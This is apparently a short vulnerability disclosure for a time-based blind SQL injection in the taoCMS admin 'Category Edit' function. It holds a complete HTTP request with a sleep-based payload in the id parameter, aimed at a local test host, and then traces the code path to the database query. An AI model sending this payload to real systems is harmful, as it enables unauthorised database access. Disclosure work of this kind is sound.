There is SQL blind injection at "Category Edit"

[Whippet0]

GET /admin/admin.php?action=Category&id=2+and(sleep(5))--+&ctrl=edit HTTP/1.1
Host: taocms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://taocms.test/admin/admin.php?action=admin&ctrl=lists
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=aa3a5livo36mssl5dqhmf5dc62;XDEBUG_SESSION=PHPSTORM
Connection: close

admin/admin.php

include/Model/Category.php::edit

include/Db/Mysql.php::getlist

include/Db/Mysql.php::query